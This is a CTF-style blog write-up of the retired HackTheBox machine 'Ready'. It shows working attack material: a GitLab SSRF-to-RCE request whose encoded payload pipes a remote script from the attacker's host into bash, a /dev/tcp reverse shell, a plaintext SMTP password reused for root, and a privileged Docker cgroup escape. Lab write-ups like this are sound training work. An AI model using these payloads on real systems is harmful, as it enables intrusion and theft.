HTB: Ready
Posted on 16 May 2021 in security • 4 min read
This is a writeup about a retired HacktheBox machine: Ready published on December 12 2020 by bertolis This box is classified as a medium machine. This box implies an outdated gitlab server, a clear text password in a backup file and a docker container.
User
Recon
We start with an nmap scan. Only port 22 (SSH) and port 5080 (HTTP) are open.
# Nmap 7.91 scan initiated Sun Dec 13 03:40:16 2020 as: nmap -p- -sSV -oN nmap 10.129.29.192
Nmap scan report for 10.129.29.192
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open http nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 13 03:40:48 2020 -- 1 IP address (1 host up) scanned in 31.28 seconds
Web
The HTTP service is once again a gitlab (my latest rooted box is laboratory) server. This time the version is 11.4.7. A Google research "gitlab 11.4.7 exploit" lead us to a blog article about an RCE on gitlab during a CTF
Following the blog exploitation we end up with a request looking like the following and can validate the RCE using a python server on our kalibox.
POST /projects HTTP/1.1
Host: 10.129.29.192:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.29.192:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 1073
Origin: http://10.129.29.192:5080
Connection: close
Cookie: _gitlab_session=140270c33fe803d8ab11d0f9a85c45cf; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=%2BEHyUYosjkfZlzfMEpR8QFZ%2BWiJMAQQ%2BTiB3Wt%2FNK0fNBNX9EhAKd6VM6okCvVQ0fZ6HxSBzQdo%2Fx4Lfe4nDCw%3D%3D&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%31%38%3a%38%30%30%30%2f%72%65%76%32%2e%73%68%20%7c%20%62%61%73%68%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ttreqqq139&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
We can even just manually import a git project using the following "git url":
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Cxxxxxxxxx%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
and replacing the payload xxxxxxxxxxx
with our own URL encoded.
We send the following payload curl http://10.10.14.18:8000/rev2.sh | bash
.
The content of rev2.sh is the following:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.18/4443 0>&1
We run a netcat listener to catch our reverse shell. We end up with a shell as
git
that can read the user flag.
kali@kali:~$ nc -l -p 4443
bash: cannot set terminal process group (485): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@gitlab:/$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/dude/user.txt
git@gitlab:/$ cat /home/dude/user.txt
cat /home/dude/user.txt
e1e30b052b6ec0670698805d745e7682
Root
Enumeration
We enumerate a few file and find the /opt/backup/
directory which contain a few
files. The file gitlab.rb
contain a smtp password.
git@gitlab:/opt/backup$ grep -i pass gitlab.rb
grep -i pass gitlab.rb
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
# password: '_the_password_of_the_bind_user'
# password: '_the_password_of_the_bind_user'
# '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####! redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
# password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
# password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil
We need an interactive shell to be able to input a password, we use python for that purpose and end up with a shell as root.
git@gitlab:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<orking$ python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ su
su
Password: wW59U!ZKMbG9+*#h
root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
id
uid=0(root) gid=0(root) groups=0(root)
Nonetheless we cannot find any root.txt
file. As you probably already guess or
notice we are in a docker container.
Docker escape
We run deepce: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
We use a python server on our kalibox to transfer the script using wget --recursive --no-parent http://10.10.14.18:8000
.
And we run it.
<SNIP>
[+] Privileged Mode ......... Yes
The container appears to be running in privilege mode, we should be able to access the
raw disks and mount the hosts root partition in order to gain code execution.
See https://stealthcopter.github.io/deepce/guides/docker-privileged.md
<SNIP>
An other quick Google research allow us to find a medium article
to learn more about docker's privilege mode with a few command line to execute a
command on the system. We just replace the echo "ps aux > $host_path/output" >> /cmd
line
with echo "cat /root/root.txt > $host_path/output" >> /cmd
and grab the root
hash.
<SNIP>
root@gitlab:/tmp/.plop# echo "cat /root/root.txt > $host_path/output" >> /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
root@gitlab:/tmp/.plop# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@gitlab:/tmp/.plop# cat /output
cat /output
b7f98681505cd39066f67147b103c2b3
Wrapping up
The box is not that hard (less than laboratory) and quit interesting as the exploitation of the gitlab's SSRF and its upgrade to an RCE was really interesting and detailed on the blog article.